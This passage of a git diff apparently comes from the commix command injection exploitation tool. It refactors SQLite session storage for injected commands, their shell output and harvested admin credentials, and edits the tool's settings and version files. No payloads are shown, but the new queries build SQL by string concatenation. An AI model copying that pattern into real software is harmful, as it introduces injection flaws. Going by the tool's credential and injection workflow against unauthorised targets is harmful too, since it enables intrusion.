technique, injection_type): - try: - if settings.LOAD_SESSION == True: - while True: - # message = "A previously stored session has been held against that target. " - message = "Do you want to resume to the " - message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " - message += technique.rsplit(' ', 2)[0] - message += " injection point from stored session? [Y/n] > " - settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) - if settings.LOAD_SESSION in settings.CHOICE_YES: - settings.INJECTION_CHECKER = True - return True - elif settings.LOAD_SESSION in settings.CHOICE_NO: - settings.LOAD_SESSION = False - settings.RESET_TESTS = True - return False - elif settings.LOAD_SESSION in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(settings.LOAD_SESSION) - pass - except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except (KeyboardInterrupt, SystemExit): - raise - -""" -Check for specific stored parameter. -""" -def check_stored_parameter(url, http_request_method): - if injection_point_exportation(url, http_request_method): - if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): - # Check for stored alternative shell - if injection_point_exportation(url, http_request_method)[9] != "": - menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9] - return True - else: - return False - else: + settings.LOAD_SESSION = None return False """ @@ -326,18 +310,11 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - if settings.TESTABLE_PARAMETER: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(vuln_parameter))) - else: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(settings.HTTP_HEADER))) + conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ + "VALUES(?,?,?)", \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ + str(vuln_parameter))) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: @@ -350,31 +327,20 @@ def store_cmd(url, cmd, shell, vuln_parameter): """ def export_stored_cmd(url, cmd, vuln_parameter): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + vuln_parameter + "';").fetchall() - else: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() - - conn.commit() - conn.close() - - for session in cursor: - output = base64.b64decode(session[0]) - try: - return output.decode(settings.DEFAULT_CODEC) - except AttributeError: - return output - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT output FROM " + table_name(url) + \ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \ + "vuln_parameter= '" + vuln_parameter + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + for session in cursor: + output = base64.b64decode(session[0]) + try: + return output.decode(settings.DEFAULT_CODEC) + except AttributeError: + return output except sqlite3.OperationalError as err_msg: pass @@ -387,8 +353,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ "username VARCHAR, password VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\ + conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \ "admin_panel, username, password) VALUES(?,?,?,?,?)", \ (str(url), str(authentication_type), str(admin_panel), \ str(username), str(password))) @@ -404,19 +369,15 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa """ def export_valid_credentials(url, authentication_type): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url='" + url + "' AND "\ - "authentication_type= '" + authentication_type + "';").fetchall() - - cursor = ":".join(cursor[0]) - return cursor - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT username, password FROM " + table_name(url) + \ + "_creds WHERE url like '%" + split_url(url) + "%' AND " + \ + "authentication_type= '" + authentication_type + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + return ":".join(cursor[0]) except sqlite3.OperationalError as err_msg: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index bebf834d78..ca013c8de1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -290,11 +290,14 @@ def sys_argv_errors(): START_TIME = time.time() +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Readline READLINE_ERROR = False -# User-supplied operating system command -USER_SUPPLIED_CMD = "" +# User-applied operating system command +USER_APPLIED_CMD = "" # Random Tag RANDOM_TAG = "" @@ -378,7 +381,7 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -USER_DEFINED_URL_DATA = True +USER_DEFINED_URL_DATA = False # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -388,8 +391,9 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -PRE_CUSTOM_INJECTION_MARKER_CHAR = "" CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +POST_CUSTOM_INJECTION_MARKER_CHAR = "" class INJECTION_MARKER_LOCATION(object): URL = False @@ -403,6 +407,7 @@ class INJECTION_MARKER_LOCATION(object): # Testable parameter(s) - comma separated. TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None +NOT_TESTABLE_PARAMETERS = True # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -420,7 +425,7 @@ class OS(object): IDENTIFIED_TARGET_OS = False IGNORE_IDENTIFIED_OS = None -# Verbosity level: 0-1 (default 0) +# Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 # Local HTTP server ip @@ -561,11 +566,14 @@ class OS(object): # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 -#Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 -USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) +INJECTION_LEVEL = 0 +USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -652,16 +660,16 @@ class OS(object): CHOICE_YES = ['YES','YE','Y','yes','ye','y'] # Accepts 'NO','N','no','n' -CHOICE_NO = ['NO','N','no','n'] +CHOICE_NO = ['NO','no','N','n'] # Accepts 'QUIT','Q','quit','q' -CHOICE_QUIT = ['QUIT','Q','quit','q'] +CHOICE_QUIT = ['QUIT','quit','Q','q'] # Accepts 'W','w','U','u','Q','q' CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','A','a','N','n','R','r' -CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a','N','n','R','r'] +# Accepts 'C','c','S','s','Q','q','A','a' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -684,7 +692,7 @@ class INJECTION_TECHNIQUE(object): FILE_BASED = "file-based command injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" -USER_SUPPLIED_TECHNIQUE = False +USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List @@ -1051,9 +1059,6 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Reset all tests (i.e. all techniques) -RESET_TESTS = False - # Define the default credentials files USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" @@ -1077,7 +1082,7 @@ class AUTH_TYPE(object): RAW_HTTP_HEADERS = "" -USER_SUPPLIED_TAMPER = "" +USER_APPLIED_TAMPER = "" # Tamper scripts dict TAMPER_SCRIPTS = { @@ -1361,4 +1366,5 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" + # eof diff --git a/src/utils/version.py b/src/utils/version.py index 9ee77e1351..95869585d0 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -33,4 +33,5 @@ def python_version(): warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to re-run with Python 3." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - #raise SystemExit() + +# eof \ No newline at end of file